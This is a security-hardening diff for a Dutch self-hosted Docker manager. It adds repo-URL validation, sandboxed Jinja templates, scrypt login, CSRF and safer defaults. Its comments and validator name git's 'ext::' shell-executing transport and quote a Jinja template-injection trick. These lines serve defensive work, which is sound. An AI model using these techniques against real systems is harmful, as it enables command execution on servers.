|
||||
if r.get("url") and not cfg.valid_repo_url(r["url"]):
|
||||
return jsonify(ok=False, msg=f"Ongeldige repo-URL: {r['url']}"), 400
|
||||
# De UI kent het token niet meer (zie redact), dus een leeg veld
|
||||
# betekent "ongewijzigd" en mag het bestaande token niet wissen.
|
||||
r.pop("has_token", None)
|
||||
if not (r.get("token") or "").strip():
|
||||
r["token"] = known.get(r.get("id"), "")
|
||||
if updates:
|
||||
cfg.patch(updates)
|
||||
return jsonify(ok=True)
|
||||
|
|
@ -1111,10 +1363,8 @@ def api_wizard():
|
|||
"APP_REPOS", "MODULE_REPOS")})
|
||||
|
||||
|
||||
@app.route("/api/wizard/paths", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/paths", methods=["POST"])
|
||||
def api_wizard_paths():
|
||||
if request.method == "GET":
|
||||
return jsonify(ok=True, msg="use POST")
|
||||
try:
|
||||
d = request.json or {}
|
||||
updates = {}
|
||||
|
|
@ -1133,20 +1383,22 @@ def api_wizard_paths():
|
|||
return jsonify(ok=False, msg=str(e))
|
||||
|
||||
|
||||
@app.route("/api/wizard/repos", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/repos", methods=["POST"])
|
||||
def api_wizard_repos():
|
||||
"""Sla repos op vanuit de wizard."""
|
||||
if request.method == "GET":
|
||||
return jsonify(ok=True, msg="use POST")
|
||||
try:
|
||||
d = request.json or {}
|
||||
updates = {}
|
||||
app_repos = d.get("APP_REPOS")
|
||||
if app_repos is not None:
|
||||
updates["APP_REPOS"] = [r for r in app_repos if r.get("url", "").strip()]
|
||||
mod_repos = d.get("MODULE_REPOS")
|
||||
if mod_repos is not None:
|
||||
updates["MODULE_REPOS"] = [r for r in mod_repos if r.get("url", "").strip()]
|
||||
for key in ("APP_REPOS", "MODULE_REPOS"):
|
||||
given = d.get(key)
|
||||
if given is None:
|
||||
continue
|
||||
kept = [r for r in given if r.get("url", "").strip()]
|
||||
for r in kept:
|
||||
if not cfg.valid_repo_url(r.get("url", "")):
|
||||
return jsonify(ok=False,
|
||||
msg=f"Ongeldige repo-URL: {r.get('url', '')}"), 400
|
||||
updates[key] = kept
|
||||
if updates:
|
||||
cfg.patch(updates)
|
||||
audit.log("wizard", "repos", "ok",
|
||||
|
|
@ -1157,7 +1409,7 @@ def api_wizard_repos():
|
|||
return jsonify(ok=False, msg=str(e))
|
||||
|
||||
|
||||
@app.route("/api/wizard/sync", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/sync", methods=["POST"])
|
||||
def api_wizard_sync():
|
||||
jid, q = jobs.create("wizard:sync")
|
||||
|
||||
|
|
@ -1192,6 +1444,8 @@ def api_wizard_git():
|
|||
url = d.get("url", "").strip()
|
||||
if not url:
|
||||
return jsonify(ok=False, msg="URL vereist")
|
||||
if not cfg.valid_repo_url(url):
|
||||
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
|
||||
slug = url.rstrip("/").split("/")[-1].removesuffix(".git") or "eigen-git"
|
||||
repo = {"id": slug, "url": url, "branch": "main"}
|
||||
if d.get("token"):
|
||||
|
|
@ -1260,14 +1514,14 @@ def api_wizard_git():
|
|||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/wizard/complete", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/complete", methods=["POST"])
|
||||
def api_wizard_done():
|
||||
cfg.patch({"WIZARD_DONE": True})
|
||||
audit.log("wizard", "complete", "ok")
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/wizard/reset", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/reset", methods=["POST"])
|
||||
def api_wizard_reset():
|
||||
c = cfg.load()
|
||||
c.pop("WIZARD_DONE", None)
|
||||
|
|
@ -1402,10 +1656,17 @@ def _boot_sync():
|
|||
|
||||
Loopt na een korte pauze zodat Flask volledig opgestart is.
|
||||
Bij eerste start worden repos gecloned; bij herstart wordt git pull gedraaid.
|
||||
|
||||
Standaard uitgeschakeld: automatisch pullen betekent dat wijzigingen in een
|
||||
externe repo ongezien op deze server terechtkomen — en modulecode uit die
|
||||
repo wordt uitgevoerd. Zet AUTO_SYNC_ON_BOOT aan als je dat accepteert.
|
||||
"""
|
||||
import time
|
||||
time.sleep(2)
|
||||
c = cfg.load()
|
||||
if not c.get("AUTO_SYNC_ON_BOOT"):
|
||||
print(" [boot] auto-sync staat uit (AUTO_SYNC_ON_BOOT)")
|
||||
return
|
||||
for label, repo_list in [("App", c.get("APP_REPOS", [])),
|
||||
("Module", c.get("MODULE_REPOS", []))]:
|
||||
for repo in repo_list:
|
||||
|
|
@ -1428,7 +1689,8 @@ def _boot_sync():
|
|||
|
||||
if __name__ == "__main__":
|
||||
port = int(os.environ.get("PORT", 5000))
|
||||
print(f"\n🚀 Server Up · http://0.0.0.0:{port}\n")
|
||||
host = os.environ.get("SU_BIND", "0.0.0.0")
|
||||
print(f"\n🚀 Server Up {VERSION} · http://{host}:{port}\n")
|
||||
audit.init()
|
||||
i18n.load()
|
||||
print("Boot repos:")
|
||||
|
|
@ -1438,7 +1700,15 @@ if __name__ == "__main__":
|
|||
if not MODULES:
|
||||
print(" (geen)")
|
||||
audit.log("core", "startup", "ok")
|
||||
if auth.needs_setup():
|
||||
print("\n⚠ Nog geen account — open de webinterface en maak er één aan.")
|
||||
print(" Tot dat moment kan iedereen die deze poort bereikt het account claimen.\n")
|
||||
print("Boot sync (achtergrond):")
|
||||
jobs.run(_boot_sync)
|
||||
print(f"\n→ http://localhost:{port}\n")
|
||||
app.run(host="0.0.0.0", port=port, debug=False, threaded=True)
|
||||
if os.environ.get("SU_DEV"):
|
||||
# Werkzeug-ontwikkelserver: handig lokaal, niet geschikt voor productie.
|
||||
app.run(host=host, port=port, debug=False, threaded=True)
|
||||
else:
|
||||
from waitress import serve
|
||||
serve(app, host=host, port=port, threads=8, ident="server-up")
|
||||
|
|
|
|||
|
|
@ -2,6 +2,15 @@
|
|||
import json, os, re, tempfile, threading
|
||||
from pathlib import Path
|
||||
|
||||
# Namen van stacks/instanties: streng genoeg om padtrucs uit te sluiten en
|
||||
# tegelijk geldig als docker-compose projectnaam.
|
||||
_SAFE_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$")
|
||||
|
||||
# Git-transports die we toestaan. Alles daarbuiten (met name `ext::`, dat een
|
||||
# shell-commando uitvoert, en `file://`) wordt geweigerd.
|
||||
_URL_SCHEME_RE = re.compile(r"^(https?|ssh|git)://", re.IGNORECASE)
|
||||
_SCP_SYNTAX_RE = re.compile(r"^[A-Za-z0-9._-]+@[A-Za-z0-9._-]+:[^\s]+$")
|
||||
|
||||
DEFAULTS = {
|
||||
"LIBRARY_DIR": "/opt/serverup/stacks",
|
||||
"DATA_DIR": "/opt/serverup/appdata",
|
||||
|
|
@ -28,8 +37,19 @@ DEFAULTS = {
|
|||
# http://10.0.20.22:3000/api/v1/repos/bes-r/server-up/releases
|
||||
"UPDATE_API_URL": os.environ.get("SU_UPDATE_API", ""),
|
||||
"UPDATE_INCLUDE_PRERELEASE": False,
|
||||
# Authenticatie — beheerd via core.auth; hier alleen als placeholder zodat
|
||||
# load() de sleutel kent. Wordt nooit via /api/settings teruggegeven.
|
||||
"AUTH": {},
|
||||
# Repo's synchroniseren bij elke start. Standaard uit: een gecompromitteerde
|
||||
# upstream-repo levert anders vanzelf nieuwe templates/modules aan.
|
||||
"AUTO_SYNC_ON_BOOT": False,
|
||||
# Macvlan/ipvlan-netwerken waarmee stacks een eigen IP-adres krijgen.
|
||||
"NETWORKS": [],
|
||||
}
|
||||
|
||||
# Sleutels die nooit naar de client mogen: geheimen of interne administratie.
|
||||
SECRET_KEYS = frozenset({"AUTH"})
|
||||
|
||||
_path: Path = Path(os.environ.get("SU_CONFIG", "/data/config.json"))
|
||||
_lock = threading.RLock()
|
||||
|
||||
|
|
@ -62,6 +82,57 @@ def _sanitize_repos(repos: list) -> list:
|
|||
return repos
|
||||
|
||||
|
||||
def safe_name(name: str) -> str | None:
|
||||
"""Valideer een stack-/instantienaam. Retourneert de naam of None.
|
||||
|
||||
Weigert lege namen, padscheidingstekens, `..` en alles wat buiten
|
||||
[a-zA-Z0-9._-] valt, zodat een naam nooit uit zijn basismap kan breken.
|
||||
"""
|
||||
name = (name or "").strip()
|
||||
if not _SAFE_NAME_RE.match(name):
|
||||
return None
|
||||
if name in (".", "..") or name.startswith("-"):
|
||||
return None
|
||||
return name
|
||||
|
||||
|
||||
def valid_repo_url(url: str) -> bool:
|
||||
"""Alleen http(s)/ssh/git-URL's en scp-achtige `user@host:pad`-adressen.
|
||||
|
||||
Git ondersteunt ook `ext::<commando>`, dat letterlijk een shell-commando
|
||||
uitvoert, en `file://`, dat lokale paden blootlegt. Beide horen niet thuis
|
||||
in een URL die een gebruiker via de API mag opgeven.
|
||||
"""
|
||||
url = (url or "").strip()
|
||||
if not url or len(url) > 2048:
|
||||
return False
|
||||
if any(c in url for c in ("\n", "\r", "\x00")):
|
||||
return False
|
||||
return bool(_URL_SCHEME_RE.match(url) or _SCP_SYNTAX_RE.match(url))
|
||||
|
||||
|
||||
def redact(config: dict) -> dict:
|
||||
"""Kopie van de config zonder geheimen, geschikt om aan de client te sturen.
|
||||
|
||||
Git-tokens worden vervangen door een `has_token`-vlag, zodat de UI kan tonen
|
||||
dát er een token is zonder de waarde prijs te geven.
|
||||
"""
|
||||
out = {k: v for k, v in config.items() if k not in SECRET_KEYS}
|
||||
for key in ("APP_REPOS", "MODULE_REPOS"):
|
||||
repos = out.get(key)
|
||||
if not isinstance(repos, list):
|
||||
continue
|
||||
clean = []
|
||||
for r in repos:
|
||||
if isinstance(r, dict):
|
||||
has_token = bool((r.get("token") or "").strip())
|
||||
r = {k: v for k, v in r.items() if k != "token"}
|
||||
r["has_token"] = has_token
|
||||
clean.append(r)
|
||||
out[key] = clean
|
||||
return out
|
||||
|
||||
|
||||
def load() -> dict:
|
||||
_ensure()
|
||||
cfg = dict(DEFAULTS)
|
||||
|
|
@ -111,8 +182,10 @@ def load() -> dict:
|
|||
# Auto-reset wizard als LIBRARY_DIR niet bestaat (verse installatie met oud volume)
|
||||
if cfg.get("WIZARD_DONE") and not Path(cfg["LIBRARY_DIR"]).exists():
|
||||
cfg["WIZARD_DONE"] = False
|
||||
for k in DEFAULTS:
|
||||
if k in os.environ:
|
||||
# Env-overrides gelden alleen voor eenvoudige waarden; lijsten en objecten
|
||||
# (APP_REPOS, AUTH, NETWORKS, …) zouden anders een kale string worden.
|
||||
for k, default in DEFAULTS.items():
|
||||
if k in os.environ and not isinstance(default, (dict, list)):
|
||||
cfg[k] = os.environ[k]
|
||||
# Herhaal veiligheidscheck na env-overrides
|
||||
for key in ("LIBRARY_DIR", "DATA_DIR", "BACKUP_DIR"):
|
||||
|
|
@ -143,6 +216,9 @@ def save(cfg: dict):
|
|||
with _lock:
|
||||
fd, tmp = tempfile.mkstemp(dir=str(_path.parent), suffix=".json")
|
||||
try:
|
||||
# De config bevat git-tokens en wachtwoordhashes — alleen leesbaar
|
||||
# voor de eigenaar. mkstemp geeft al 0600; expliciet is duidelijker.
|
||||
os.chmod(tmp, 0o600)
|
||||
with os.fdopen(fd, "w") as f:
|
||||
json.dump(cfg, f, indent=2)
|
||||
Path(tmp).replace(_path)
|
||||
|
|
|
|||
|
|
@ -3,40 +3,67 @@ import sqlite3, time, json, os, threading
|
|||
from pathlib import Path
|
||||
|
||||
_db = Path(os.environ.get("SU_AUDIT", "/data/audit.db"))
|
||||
_local = threading.local()
|
||||
|
||||
# Eén gedeelde verbinding achter een lock. Eerder kreeg elke thread een eigen
|
||||
# thread-local verbinding die nooit gesloten werd; omdat iedere job een nieuwe
|
||||
# thread start, lekte dat een file descriptor per job.
|
||||
_conn_obj: sqlite3.Connection | None = None
|
||||
_lock = threading.Lock()
|
||||
|
||||
|
||||
def init():
|
||||
_db.parent.mkdir(parents=True, exist_ok=True)
|
||||
with _conn() as c:
|
||||
c.execute("""CREATE TABLE IF NOT EXISTS log(
|
||||
id INTEGER PRIMARY KEY, ts REAL,
|
||||
src TEXT, action TEXT, status TEXT,
|
||||
ref TEXT, detail TEXT, ip TEXT)""")
|
||||
with _lock:
|
||||
c = _connect()
|
||||
with c:
|
||||
c.execute("""CREATE TABLE IF NOT EXISTS log(
|
||||
id INTEGER PRIMARY KEY, ts REAL,
|
||||
src TEXT, action TEXT, status TEXT,
|
||||
ref TEXT, detail TEXT, ip TEXT)""")
|
||||
|
||||
|
||||
def _conn():
|
||||
if not hasattr(_local, "c") or _local.c is None:
|
||||
_local.c = sqlite3.connect(str(_db), timeout=5)
|
||||
_local.c.row_factory = sqlite3.Row
|
||||
return _local.c
|
||||
def _connect() -> sqlite3.Connection:
|
||||
"""Maak (eenmalig) de gedeelde verbinding. Aanroepen onder _lock."""
|
||||
global _conn_obj
|
||||
if _conn_obj is None:
|
||||
_db.parent.mkdir(parents=True, exist_ok=True)
|
||||
_conn_obj = sqlite3.connect(str(_db), timeout=5, check_same_thread=False)
|
||||
_conn_obj.row_factory = sqlite3.Row
|
||||
# WAL laat lezers en schrijvers naast elkaar werken.
|
||||
_conn_obj.execute("PRAGMA journal_mode=WAL")
|
||||
return _conn_obj
|
||||
|
||||
|
||||
def close():
|
||||
"""Sluit de gedeelde verbinding (gebruikt door tests en bij afsluiten)."""
|
||||
global _conn_obj
|
||||
with _lock:
|
||||
if _conn_obj is not None:
|
||||
try:
|
||||
_conn_obj.close()
|
||||
finally:
|
||||
_conn_obj = None
|
||||
|
||||
|
||||
def log(src: str, action: str, status="ok", ref="", detail=None, ip=""):
|
||||
d = json.dumps(detail) if isinstance(detail, (dict, list)) else str(detail or "")
|
||||
try:
|
||||
with _conn() as c:
|
||||
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) VALUES(?,?,?,?,?,?,?)",
|
||||
(time.time(), src, action, status, ref, d, ip))
|
||||
with _lock:
|
||||
c = _connect()
|
||||
with c:
|
||||
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) "
|
||||
"VALUES(?,?,?,?,?,?,?)",
|
||||
(time.time(), src, action, status, ref, d, ip))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def query(limit=100, offset=0) -> list[dict]:
|
||||
try:
|
||||
with _conn() as c:
|
||||
rows = c.execute("SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
|
||||
(limit, offset)).fetchall()
|
||||
with _lock:
|
||||
rows = _connect().execute(
|
||||
"SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
|
||||
(limit, offset)).fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
except Exception:
|
||||
return []
|
||||
|
|
@ -44,15 +71,17 @@ def query(limit=100, offset=0) -> list[dict]:
|
|||
|
||||
def count() -> int:
|
||||
try:
|
||||
with _conn() as c:
|
||||
return c.execute("SELECT count(*) FROM log").fetchone()[0]
|
||||
with _lock:
|
||||
return _connect().execute("SELECT count(*) FROM log").fetchone()[0]
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
|
||||
def clear():
|
||||
try:
|
||||
with _conn() as c:
|
||||
c.execute("DELETE FROM log")
|
||||
with _lock:
|
||||
c = _connect()
|
||||
with c:
|
||||
c.execute("DELETE FROM log")
|
||||
except Exception:
|
||||
pass
|
||||
|
|
|
|||
295
server-up/core/auth.py
Normal file
295
server-up/core/auth.py
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
"""Authenticatie — lokale login (scrypt) + optionele trusted-proxy-header SSO.
|
||||
|
||||
Server Up beheert de Docker-daemon als root. Zonder authenticatie is elke
|
||||
`/api/*`-route gelijk aan root-toegang tot de host. Deze module levert:
|
||||
|
||||
* lokale accounts met een scrypt-wachtwoordhash in `config.json`
|
||||
* een sessiecookie (HttpOnly, SameSite=Strict)
|
||||
* CSRF-tokens voor alle muterende requests
|
||||
* optioneel: een identiteit uit een reverse-proxy-header (Authelia/Authentik/
|
||||
Cloudflare Access), alleen vertrouwd vanaf een geconfigureerd proxy-IP
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import ipaddress
|
||||
import os
|
||||
import secrets
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from flask import request, session
|
||||
|
||||
import core as cfg
|
||||
|
||||
# scrypt-parameters. n=2**14 kost ~16 MB per hash — ruim genoeg tegen brute
|
||||
# force en nog steeds enkele milliseconden op bescheiden hardware.
|
||||
_N, _R, _P, _DKLEN = 2 ** 14, 8, 1, 32
|
||||
|
||||
# Mislukte pogingen per gebruiker: {naam: (aantal, geblokkeerd_tot)}
|
||||
_FAILS: dict[str, tuple[int, float]] = {}
|
||||
_FAILS_LOCK = threading.Lock()
|
||||
_MAX_FAILS = 5
|
||||
_LOCKOUT_SECONDS = 300
|
||||
|
||||
DEFAULT_AUTH = {
|
||||
"mode": "local", # local | proxy | both
|
||||
"users": {}, # {naam: {salt, hash}}
|
||||
"proxy_header": "Remote-User",
|
||||
"trusted_proxies": [], # IP's of CIDR's die de header mogen zetten
|
||||
"session_hours": 12,
|
||||
}
|
||||
|
||||
|
||||
# ── Secret key ───────────────────────────────────────────────────────────────
|
||||
|
||||
def _secret_path() -> Path:
|
||||
"""Losstaand bestand, bewust níét in config.json — dan kan het ook nooit
|
||||
via `GET /api/settings` naar buiten lekken."""
|
||||
env = os.environ.get("SU_SECRET")
|
||||
if env:
|
||||
return Path(env)
|
||||
return Path(os.environ.get("SU_CONFIG", "/data/config.json")).parent / "secret.key"
|
||||
|
||||
|
||||
def secret_key() -> bytes:
|
||||
"""Lees de Flask-SECRET_KEY, of maak er eenmalig een aan (0600)."""
|
||||
p = _secret_path()
|
||||
try:
|
||||
if p.exists():
|
||||
data = p.read_bytes().strip()
|
||||
if len(data) >= 32:
|
||||
return data
|
||||
except Exception:
|
||||
pass
|
||||
key = secrets.token_bytes(48)
|
||||
try:
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
# Maak het bestand met 0600 aan vóór er iets in staat.
|
||||
fd = os.open(str(p), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
with os.fdopen(fd, "wb") as f:
|
||||
f.write(key)
|
||||
except Exception:
|
||||
# Lukt schrijven niet, dan draaien we met een sleutel in geheugen:
|
||||
# sessies overleven een herstart dan niet, maar de app blijft veilig.
|
||||
pass
|
||||
return key
|
||||
|
||||
|
||||
# ── Wachtwoorden ─────────────────────────────────────────────────────────────
|
||||
|
||||
def hash_password(password: str) -> dict:
|
||||
salt = secrets.token_bytes(16)
|
||||
dk = hashlib.scrypt(password.encode("utf-8"), salt=salt,
|
||||
n=_N, r=_R, p=_P, dklen=_DKLEN)
|
||||
return {"salt": salt.hex(), "hash": dk.hex(), "n": _N, "r": _R, "p": _P}
|
||||
|
||||
|
||||
def verify_password(password: str, record: dict) -> bool:
|
||||
if not isinstance(record, dict) or not record.get("salt") or not record.get("hash"):
|
||||
return False
|
||||
try:
|
||||
salt = bytes.fromhex(record["salt"])
|
||||
expected = bytes.fromhex(record["hash"])
|
||||
dk = hashlib.scrypt(
|
||||
password.encode("utf-8"), salt=salt,
|
||||
n=int(record.get("n", _N)), r=int(record.get("r", _R)),
|
||||
p=int(record.get("p", _P)), dklen=len(expected))
|
||||
except Exception:
|
||||
return False
|
||||
return hmac.compare_digest(dk, expected)
|
||||
|
||||
|
||||
def password_problem(password: str) -> str:
|
||||
"""Retourneer een foutmelding, of "" als het wachtwoord voldoet."""
|
||||
if len(password or "") < 10:
|
||||
return "Wachtwoord moet minstens 10 tekens lang zijn."
|
||||
if len(password) > 1024:
|
||||
return "Wachtwoord is te lang."
|
||||
return ""
|
||||
|
||||
|
||||
# ── Config-helpers ───────────────────────────────────────────────────────────
|
||||
|
||||
def settings() -> dict:
|
||||
a = dict(DEFAULT_AUTH)
|
||||
stored = cfg.load().get("AUTH")
|
||||
if isinstance(stored, dict):
|
||||
a.update(stored)
|
||||
if not isinstance(a.get("users"), dict):
|
||||
a["users"] = {}
|
||||
return a
|
||||
|
||||
|
||||
def _save(auth_cfg: dict):
|
||||
cfg.patch({"AUTH": auth_cfg})
|
||||
|
||||
|
||||
def users() -> list[str]:
|
||||
return sorted(settings()["users"].keys())
|
||||
|
||||
|
||||
def needs_setup() -> bool:
|
||||
"""True zolang er nog geen enkel account bestaat én lokale login actief is."""
|
||||
a = settings()
|
||||
if a.get("mode") == "proxy":
|
||||
return False
|
||||
return not a["users"]
|
||||
|
||||
|
||||
def create_user(name: str, password: str) -> tuple[bool, str]:
|
||||
name = (name or "").strip()
|
||||
if not name or len(name) > 64:
|
||||
return False, "Ongeldige gebruikersnaam."
|
||||
problem = password_problem(password)
|
||||
if problem:
|
||||
return False, problem
|
||||
a = settings()
|
||||
if name in a["users"]:
|
||||
return False, "Gebruiker bestaat al."
|
||||
a["users"][name] = hash_password(password)
|
||||
_save(a)
|
||||
return True, "Account aangemaakt."
|
||||
|
||||
|
||||
def set_password(name: str, password: str) -> tuple[bool, str]:
|
||||
problem = password_problem(password)
|
||||
if problem:
|
||||
return False, problem
|
||||
a = settings()
|
||||
if name not in a["users"]:
|
||||
return False, "Gebruiker niet gevonden."
|
||||
a["users"][name] = hash_password(password)
|
||||
_save(a)
|
||||
return True, "Wachtwoord gewijzigd."
|
||||
|
||||
|
||||
def delete_user(name: str) -> tuple[bool, str]:
|
||||
a = settings()
|
||||
if name not in a["users"]:
|
||||
return False, "Gebruiker niet gevonden."
|
||||
if len(a["users"]) == 1 and a.get("mode") != "proxy":
|
||||
return False, "De laatste gebruiker kan niet verwijderd worden."
|
||||
del a["users"][name]
|
||||
_save(a)
|
||||
return True, "Gebruiker verwijderd."
|
||||
|
||||
|
||||
# ── Lockout ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def _locked_for(name: str) -> int:
|
||||
with _FAILS_LOCK:
|
||||
count, until = _FAILS.get(name, (0, 0.0))
|
||||
remaining = int(until - time.time())
|
||||
return remaining if remaining > 0 else 0
|
||||
|
||||
|
||||
def _record_failure(name: str):
|
||||
with _FAILS_LOCK:
|
||||
count, until = _FAILS.get(name, (0, 0.0))
|
||||
count += 1
|
||||
if count >= _MAX_FAILS:
|
||||
_FAILS[name] = (0, time.time() + _LOCKOUT_SECONDS)
|
||||
else:
|
||||
_FAILS[name] = (count, until)
|
||||
|
||||
|
||||
def _clear_failures(name: str):
|
||||
with _FAILS_LOCK:
|
||||
_FAILS.pop(name, None)
|
||||
|
||||
|
||||
def check_login(name: str, password: str) -> tuple[bool, str]:
|
||||
"""Controleer inloggegevens. Retourneert (ok, melding)."""
|
||||
name = (name or "").strip()
|
||||
wait = _locked_for(name)
|
||||
if wait:
|
||||
return False, f"Te veel mislukte pogingen — probeer over {wait} seconden opnieuw."
|
||||
record = settings()["users"].get(name)
|
||||
if not record:
|
||||
# Doe alsnog het rekenwerk, zodat een bestaande gebruikersnaam niet
|
||||
# verraden wordt door een sneller antwoord.
|
||||
hash_password(password or "")
|
||||
_record_failure(name)
|
||||
return False, "Onjuiste gebruikersnaam of wachtwoord."
|
||||
if not verify_password(password or "", record):
|
||||
_record_failure(name)
|
||||
return False, "Onjuiste gebruikersnaam of wachtwoord."
|
||||
_clear_failures(name)
|
||||
return True, "Ingelogd."
|
||||
|
||||
|
||||
# ── Trusted-proxy-header ─────────────────────────────────────────────────────
|
||||
|
||||
def _proxy_trusted(remote_addr: str, trusted: list) -> bool:
|
||||
if not remote_addr or not trusted:
|
||||
return False
|
||||
try:
|
||||
addr = ipaddress.ip_address(remote_addr)
|
||||
except ValueError:
|
||||
return False
|
||||
for entry in trusted:
|
||||
try:
|
||||
if addr in ipaddress.ip_network(str(entry), strict=False):
|
||||
return True
|
||||
except ValueError:
|
||||
continue
|
||||
return False
|
||||
|
||||
|
||||
def proxy_user() -> str | None:
|
||||
"""Gebruikersnaam uit de reverse-proxy-header, mits die proxy vertrouwd is."""
|
||||
a = settings()
|
||||
if a.get("mode") not in ("proxy", "both"):
|
||||
return None
|
||||
header = (a.get("proxy_header") or "").strip()
|
||||
if not header:
|
||||
return None
|
||||
if not _proxy_trusted(request.remote_addr or "", a.get("trusted_proxies") or []):
|
||||
return None
|
||||
name = (request.headers.get(header) or "").strip()
|
||||
return name[:64] or None
|
||||
|
||||
|
||||
# ── Sessie ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def start_session(name: str, via: str = "local"):
|
||||
session.clear()
|
||||
session.permanent = True
|
||||
session["user"] = name
|
||||
session["via"] = via
|
||||
session["csrf"] = secrets.token_urlsafe(32)
|
||||
|
||||
|
||||
def end_session():
|
||||
session.clear()
|
||||
|
||||
|
||||
def current_user() -> str | None:
|
||||
"""De ingelogde gebruiker, uit de sessie of uit een vertrouwde proxy-header."""
|
||||
name = session.get("user")
|
||||
if name:
|
||||
return name
|
||||
name = proxy_user()
|
||||
if name:
|
||||
# Geef ook proxy-gebruikers een sessie, zodat er een CSRF-token bestaat.
|
||||
start_session(name, via="proxy")
|
||||
return name
|
||||
return None
|
||||
|
||||
|
||||
def csrf_token() -> str:
|
||||
token = session.get("csrf")
|
||||
if not token:
|
||||
token = secrets.token_urlsafe(32)
|
||||
session["csrf"] = token
|
||||
return token
|
||||
|
||||
|
||||
def verify_csrf(supplied: str | None) -> bool:
|
||||
expected = session.get("csrf")
|
||||
if not expected or not supplied:
|
||||
return False
|
||||
return hmac.compare_digest(str(expected), str(supplied))
|
||||
|
|
@ -147,10 +147,15 @@ def _jinja_env():
|
|||
global _env
|
||||
if _env is None:
|
||||
try:
|
||||
from jinja2 import Environment, ChainableUndefined
|
||||
from jinja2 import ChainableUndefined
|
||||
# Sandboxed: templates komen uit externe git-repo's en worden al
|
||||
# gerenderd in /api/store/preview, dus vóór een installatie. Een
|
||||
# gewone Environment laat `<< ''.__class__.__mro__ >>`-trucs toe
|
||||
# en daarmee code-uitvoering in het app-proces.
|
||||
from jinja2.sandbox import SandboxedEnvironment
|
||||
except ImportError as e:
|
||||
raise BoilerplateError("Jinja2 is required to render boilerplate templates") from e
|
||||
_env = Environment(
|
||||
_env = SandboxedEnvironment(
|
||||
variable_start_string=_VAR_OPEN,
|
||||
variable_end_string=_VAR_CLOSE,
|
||||
block_start_string=_BLK_OPEN,
|
||||
|
|
|
|||
|
|
@ -41,6 +41,11 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
|
|||
url = repo.get("url", "").strip()
|
||||
if not url:
|
||||
return False, "Geen URL"
|
||||
# Vangnet: ook repo's die al in een oude config.json staan mogen geen
|
||||
# `ext::`- of `file://`-transport gebruiken (ext:: voert een shell uit).
|
||||
from core import valid_repo_url
|
||||
if not valid_repo_url(url):
|
||||
return False, f"Ongeldige of niet-toegestane repo-URL: {url[:80]}"
|
||||
branch = repo.get("branch", "main")
|
||||
token = repo.get("token", "").strip()
|
||||
rid = repo.get("id", "repo")
|
||||
|
|
@ -80,6 +85,25 @@ def clone_or_pull(repo: dict, log_fn=None) -> tuple[bool, str]:
|
|||
|
||||
if r.returncode != 0:
|
||||
return False, safe_output[:200]
|
||||
|
||||
# Optioneel vastzetten op een commit. Zo bepaalt de beheerder wanneer
|
||||
# er nieuwe templates/modulecode binnenkomt, in plaats van de upstream.
|
||||
pin = (repo.get("commit") or "").strip()
|
||||
if pin:
|
||||
if not re.fullmatch(r"[0-9a-fA-F]{7,40}", pin):
|
||||
return False, f"Ongeldige commit-pin: {pin[:40]}"
|
||||
fetch = subprocess.run(["git", "fetch", "--depth", "1", "origin", pin],
|
||||
cwd=str(dest), capture_output=True, text=True,
|
||||
env=env, timeout=60)
|
||||
if fetch.returncode != 0 and log_fn:
|
||||
log_fn(f"fetch {pin}: {fetch.stderr.strip()[:120]}")
|
||||
co = subprocess.run(["git", "checkout", "--force", pin],
|
||||
cwd=str(dest), capture_output=True, text=True,
|
||||
env=env, timeout=60)
|
||||
if co.returncode != 0:
|
||||
return False, f"Commit {pin} niet gevonden"
|
||||
if log_fn:
|
||||
log_fn(f"Vastgezet op commit {pin}")
|
||||
return True, "OK"
|
||||
except subprocess.TimeoutExpired:
|
||||
return False, "Timeout"
|
||||
|
|
|
|||
|
|
@ -6,6 +6,10 @@ _queues: dict[str, queue.Queue] = {}
|
|||
_stream_locks: dict[str, threading.Lock] = {}
|
||||
_lock = threading.Lock()
|
||||
_TTL = 3600
|
||||
# Maximaal aantal bewaarde logregels per job. Een `compose pull` van een groot
|
||||
# image produceert duizenden voortgangsregels; zonder limiet groeit dat
|
||||
# onbeperkt in het geheugen van het proces.
|
||||
_MAX_LINES = 2000
|
||||
|
||||
|
||||
def _cleanup():
|
||||
|
|
@ -67,6 +71,13 @@ def stream(jid: str, offset=0) -> dict:
|
|||
job["lines"].append(item)
|
||||
except queue.Empty:
|
||||
break
|
||||
if len(job["lines"]) > _MAX_LINES:
|
||||
# Houd de staart; die bevat het resultaat en de eventuele fout.
|
||||
dropped = len(job["lines"]) - _MAX_LINES
|
||||
job["lines"] = ([{"level": "dim",
|
||||
"text": f"… {dropped + job.get('dropped', 0)} eerdere regels weggelaten"}]
|
||||
+ job["lines"][-_MAX_LINES:])
|
||||
job["dropped"] = dropped + job.get("dropped", 0)
|
||||
return {"lines": job["lines"][offset:], "status": job["status"]}
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -1,3 +1,4 @@
|
|||
flask>=3.0
|
||||
pyyaml>=6.0
|
||||
jinja2>=3.1
|
||||
waitress>=3.0
|
||||
|
|
|
|||
|
|
@ -6,9 +6,11 @@
|
|||
<title>Server Up</title>
|
||||
